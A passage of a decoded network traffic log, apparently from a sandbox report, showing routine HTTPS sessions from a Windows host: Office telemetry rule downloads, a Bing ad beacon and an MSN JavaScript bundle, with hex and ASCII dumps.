R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032049Z-178bfbc474bh5zbqhC1NYCkdug000000056000000000pyge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f5c58262-401e-00ac-04df-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032049Z-178bfbc474bvjk8shC1NYC83ns000000054g00000000htvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032049Z-174c587ffdfmlsmvhC1TEBvyks000000040000000000cb1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49901	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:50 UTC	874	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_S6oHM3gLZTge1i9YYmXAzVUCUzaaSMkpLzTXaRf6C1ChBPf0rbj2Qe1EiTui0zjCUayL0ZCV3qxgQw-LFqIVTtF3LWBsqbTwYvuzYmrBhv6PkjsxhmMVvGJNmjWTfc2tID_IvSHEz6JGTkrB8IFT9EurPozSV7fyX8hwxRBvso8X-PX%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D6c434c23590b10c2dbda2b61c2701cad&TIME=20241124T032034Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=12E4923F37686EB42D5D877E360A6F8E; _EDGE_S=SID=30FDDCF109BE69BB031AC9B008B768DB; MR=0
2024-11-24 03:20:50 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=h14nskz3GthN2x1wBmqONcGLUtzYTkSMxnjDTynWeF8; domain=.bing.com; expires=Fri, 19-Dec-2025 03:20:50 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: BBECB0ED45E74E049090C8E46EB6B80C Ref B: EWR30EDGE0810 Ref C: 2024-11-24T03:20:50Z Date: Sun, 24 Nov 2024 03:20:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49904	23.209.72.39	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:50 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:50 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sun, 24 Nov 2024 03:20:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.147,b=813484916,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.147 Akamai-Request-ID: 307ccb74 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9304d217.1732418450.307ccb74 Vary: Origin
2024-11-24 03:20:50 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-24 03:20:50 UTC	9441	IN	Data Raw: 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 Data Ascii: n(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r
2024-11-24 03:20:51 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-24 03:20:51 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-24 03:20:51 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-24 03:20:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-24 03:20:51 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-24 03:20:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-24 03:20:51 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t
2024-11-24 03:20:51 UTC	15599	IN	Data Raw: 30 30 30 30 33 43 45 33 0d 0a 7d 7d 2c 34 34 31 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 38 35 31 30 29 2c 69 3d 6e 28 31 32 35 34 35 29 2c 6f 3d 6e 28 32 35 31 39 37 29 2c 75 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 61 3d 75 2e 74 6f 53 74 72 69 6e 67 2c 73 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 28 30 2c 6f 2e 5a 29 28 74 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 28 30 2c 72 2e 5a 29 28 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 30 2c 69 Data Ascii: 00003CE3}},44199:function(t,e,n){"use strict";var r=n(48510),i=n(12545),o=n(25197),u=Function.prototype,c=Object.prototype,a=u.toString,s=c.hasOwnProperty,f=a.call(Object);e.Z=function(t){if(!(0,o.Z)(t)\|\|"[object Object]"!=(0,r.Z)(t))return!1;var e=(0,i

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032051Z-174c587ffdfks6tlhC1TEBeza400000003v000000000ndw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1a92378f-b01e-005c-6f7b-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032051Z-174c587ffdfcj798hC1TEB9bq400000003z000000000gktu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
